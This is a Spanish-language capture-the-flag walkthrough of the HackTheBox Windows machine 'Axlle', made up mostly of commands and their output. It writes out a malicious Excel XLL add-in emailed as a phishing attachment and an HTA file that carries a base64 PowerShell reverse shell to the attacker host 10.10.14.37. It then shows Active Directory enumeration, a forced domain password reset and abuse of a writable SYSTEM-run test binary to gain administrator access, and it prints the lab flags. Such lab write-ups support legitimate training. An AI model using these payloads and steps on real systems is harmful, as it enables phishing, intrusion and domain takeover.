Axlle es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Axlle 10.129.71.21 a /etc/hosts como axlle.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ nmap -sS --open --min-rate 5000 -p- -n -vvv -oA enumeration/nmap1 10.129.71.21 Nmap scan report for 10.129.71.21 Host is up, received echo-reply ttl 127 (0.044s latency). Scanned at 2024-06-26 17:00:48 CEST for 26s Not shown: 65512 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 25/tcp open smtp syn-ack ttl 127 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 3389/tcp open ms-wbt-server syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49668/tcp open unknown syn-ack ttl 127 49903/tcp open unknown syn-ack ttl 127 49913/tcp open unknown syn-ack ttl 127 54418/tcp open unknown syn-ack ttl 127 58346/tcp open unknown syn-ack ttl 127 58347/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Jun 26 17:01:14 2024 -- 1 IP address (1 host up) scanned in 26.68 seconds |
Detectados los puertos abiertos, enumeramos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
$ nmap -sCV -p 25,53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49668,49903,49913,54418,58346,58347 -oA enumeration/nmap2 10.129.71.21 Nmap scan report for 10.129.71.21 Host is up (0.047s latency). PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Axlle Development | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-26 15:02:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-06-26T15:03:45+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: AXLLE | NetBIOS_Domain_Name: AXLLE | NetBIOS_Computer_Name: MAINFRAME | DNS_Domain_Name: axlle.htb | DNS_Computer_Name: MAINFRAME.axlle.htb | DNS_Tree_Name: axlle.htb | Product_Version: 10.0.20348 |_ System_Time: 2024-06-26T15:03:06+00:00 | ssl-cert: Subject: commonName=MAINFRAME.axlle.htb | Not valid before: 2024-05-19T11:25:03 |_Not valid after: 2024-11-18T11:25:03 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49903/tcp open msrpc Microsoft Windows RPC 49913/tcp open msrpc Microsoft Windows RPC 54418/tcp open msrpc Microsoft Windows RPC 58346/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 58347/tcp open msrpc Microsoft Windows RPC Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-06-26T15:03:10 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jun 26 17:03:47 2024 -- 1 IP address (1 host up) scanned in 97.13 seconds |
Enumeración
Accedemos al portal web del puerto 80 y vemos una web en mantenimiento
Revisamos la misma y encontramos un mensaje interesante
En el mismo nos indica que la web está en mantenimiento pero que podemos enviar nuestras peticiones a una dirección de correo y con un fichero en formato excel, también nos indica que las macros están deshabilitadas por motivos de seguridad pero no menciona nada acerca de las XLL, librerías utilizadas por excel y que también pueden ser una forma de inyectar malware en el fichero.
Así que buscamos en google como inyectar una xll maliciosa en un fichero excel y encontramos el siguiente post al respecto.
Cogemos el código de ejemplo del portal
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#include <windows.h> __declspec(dllexport) void __cdecl xlAutoOpen(void); void __cdecl xlAutoOpen() { // Triggers when Excel opens WinExec("cmd.exe /c notepad.exe", 1); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } |
y cambiaremos la siguiente línea
|
1 |
WinExec("cmd.exe /c notepad.exe", 1); |
por una revshell que generamos desde el portal de revshells
Una vez modificado, compilamos la xll
|
1 |
$ x86_64-w64-mingw32-gcc -fPIC -shared -o shell.xll xll-exploit.c -luser32 |
y enviamos el correo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
$ swaks --to accounts@axlle.htb --from test@test.htb --body "RevShell" --header "Subject: Help me with this issue" --attach @shell.xll === Trying axlle.htb:25... === Connected to axlle.htb. <- 220 MAINFRAME ESMTP -> EHLO skynet <- 250-MAINFRAME <- 250-SIZE 20480000 <- 250-AUTH LOGIN <- 250 HELP -> MAIL FROM:<test@test.htb> <- 250 OK -> RCPT TO:<accounts@axlle.htb> <- 250 OK -> DATA <- 354 OK, send. -> Date: Wed, 26 Jun 2024 17:21:28 +0200 -> To: accounts@axlle.htb -> From: test@test.htb -> Subject: Help me with this issue -> Message-Id: <20240626172128.019640@skynet> -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/ -> MIME-Version: 1.0 -> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_19640" -> -> ------=_MIME_BOUNDARY_000_19640 -> Content-Type: text/plain -> -> RevShell -> ------=_MIME_BOUNDARY_000_19640 -> Content-Type: application/octet-stream -> Content-Disposition: attachment -> Content-Transfer-Encoding: BASE64 -> -> ... -> AAAAAAAAAAAAAAAAAAAAAAAACJEAAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAA -> ... -> -> ------=_MIME_BOUNDARY_000_19640-- -> -> -> . <- 250 Queued (10.968 seconds) -> QUIT <- 221 goodbye === Connection closed with remote host. |
consiguiendo así una revshell con el usuario gideon
|
1 2 3 4 5 6 7 |
$ nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.37] from (UNKNOWN) [10.129.71.21] 51366 PS C:\> whoami axlle\gideon.hamill PS C:\> |
Escalado al usuario dallon
Este usuario no puede leer la flag así que enumeramos el servidor y encontramos un correo del equipo de desarrollo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
PS C:\Program Files (x86)\hmailserver\data\axlle.htb\dallon.matrix\2f> Get-Content -Path "C:\Program Files (x86)\hmailserver\data\axlle.htb\dallon.matrix\2f\{2F7523BD-628F-4359-913E-A873FCC59D0F}.eml" Return-Path: webdevs@axlle.htb Received: from bumbag (Unknown [192.168.77.153]) by MAINFRAME with ESMTP ; Mon, 1 Jan 2024 06:32:24 -0800 Date: Tue, 02 Jan 2024 01:32:23 +1100 To: dallon.matrix@axlle.htb,calum.scott@axlle.htb,trent.langdon@axlle.htb,dan.kendo@axlle.htb,david.brice@axlle.htb,frankie.rose@axlle.htb,samantha.fade@axlle.htb,jess.adams@axlle.htb,emily.cook@axlle.htb,phoebe.graham@axlle.htb,matt.drew@axlle.htb,xavier.edmund@axlle.htb,baz.humphries@axlle.htb,jacob.greeny@axlle.htb From: webdevs@axlle.htb Subject: OSINT Application Testing Message-Id: <20240102013223.019081@bumbag> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/ Hi everyone, The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal. We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation. Yours in click-worthy URLs, The Web Dev Team |
En el mismo nos indica que están tratando de encontrar la mejor forma de automatizar el chequeo y adición de URLs en el portal de OSINT, así que vamos a crear un fichero hta con un enlace para poder obtener una shell con otro usuario.
Generamos en primer lugar nuestro fichero hta malicioso, también con una revshell en powershell
|
1 2 3 4 5 6 7 8 9 10 11 12 |
<html> <head> <HTA:APPLICATION ID="HelloExample"> <script language="jscript"> var c = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="; new ActiveXObject('WScript.Shell').Run(c); </script> </head> <body> <script>self.close();</script> </body> </html> |
Levantaremos un servidor smb para servir la misma
|
1 2 3 4 5 6 7 8 9 |
$ impacket-smbserver -smb2support share . Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed |
y crearemos el enlace
|
1 2 3 4 |
PS C:\> $url = "file://10.10.14.37/share/shell.hta" PS C:\> $shortcutPath = "C:\inetpub\testing\shell.url" PS C:\> $shortcutContent = "[InternetShortcut]`r`nURL=$url" PS C:\> Set-Content -Path $shortcutPath -Value $shortcutContent |
esperamos unos segundos y conseguiremos una shell con el usuario dallon
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.37] from (UNKNOWN) [10.129.71.21] 51431 PS C:\> whoami axlle\dallon.matrix PS C:\> |
Obteniendo la flag de user
Este usuario sí que puede leer la flag así que vamos a por ella
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\users\dallon.matrix\desktop> dir Directory: C:\users\dallon.matrix\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/26/2024 7:16 AM 34 user.txt PS C:\users\dallon.matrix\desktop> type user.txt a81b848633ad028d03a2b5672c590d3a |
Escalado al usuario jacob
Procedemos a enumerar el servidor, y vemos que estamos ante un AD, así que vamos a sacar información con bloodhound
|
1 2 3 4 |
PS C:\users\public> iwr -uri http://10.10.14.37/SharpHound.ps1 -outfile SharpHound.ps1 PS C:\users\public> Import-Module .\Sharphound.ps1 PS C:\users\public> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\public\ -OutputPrefix "axlle" PS C:\users\public> copy axlle_20240626085006_BloodHound.zip \\10.10.14.37\share\ |
Analizamos la información obtenida y nos fijamos en que el usuario dallon pertenece al grupo web devs
El cual tiene permisos para modificar las password de los usuarios jacob.greeny y baz.humphries
así que vamos a cambiar la password del usuario jacob con la ayuda de powerview
|
1 2 |
PS C:\users\public> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force PS C:\users\public> Set-DomainUserPassword -Identity Jacob.Greeny -AccountPassword $UserPassword -Credential $Cred |
y conectaremos por winrm una vez cambiada
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i axlle.htb -u jacob.greeny -p 'Password123!' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\jacob.greeny\Documents> whoami axlle\jacob.greeny |
Escalado de privilegios
Anteriormente, y aunque no se había comentado, había un directorio interesante en la raíz pero carecíamos de permisos para ver su contenido, pues bien, ahora podemos y al fijarnos vemos un fichero README con una nota interesante
|
1 2 |
*Evil-WinRM* PS C:\app development\kbfiltr> type README.md | findstr "NOTE" **NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment** |
Los desarrolladores han automatizado la ejecución del ejecutable standalonerunner como system para testear el driver, así que vamos a aprovecharnos de ello.
Revisamos los permisos del binario y podemos escribir en el mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 |
*Evil-WinRM* PS C:\app development\kbfiltr> icacls "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe" C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe AXLLE\App Devs:(I)(RX,W) Everyone:(I)(R) AXLLE\Administrator:(I)(F) BUILTIN\Users:(I)(R) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files |
Aquí tendríamos dos opciones, la forma no intencionada sería modificar ese binario por uno previamente preparado y con el cual conseguir una revshell.
La forma intencionada sería, siguiendo este post sobre Standalonerunner, generar un fichero rsf con el cual ejecutar el comando que necesitemos.
Por lo tanto, y siguiendo el post anterior, generamos los directorios necesarios y el fichero rsf
|
1 2 3 4 |
Set-Content -Path "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\reboot.rsf" -Value "myTestDir`r`nTrue" mkdir myTestDir\working Set-Content -Path "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working\rsf.rsf" -Value "" Set-Content -Path "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\command.txt" -Value "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" |
esperamos a la próxima ejecución del fichero… y tenemos una shell como administrator
|
1 2 3 4 5 6 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.37] from (UNKNOWN) [10.129.71.21] 61675 PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working> whoami axlle\administrator |
Obteniendo la flag de root
Ya somos admin así que vamos por la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working> cd c:\users\administrator\desktop PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/26/2024 7:16 AM 34 root.txt PS C:\users\administrator\desktop> type root.txt 777b28ff17caa3728d96ecf7f8e2df64 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
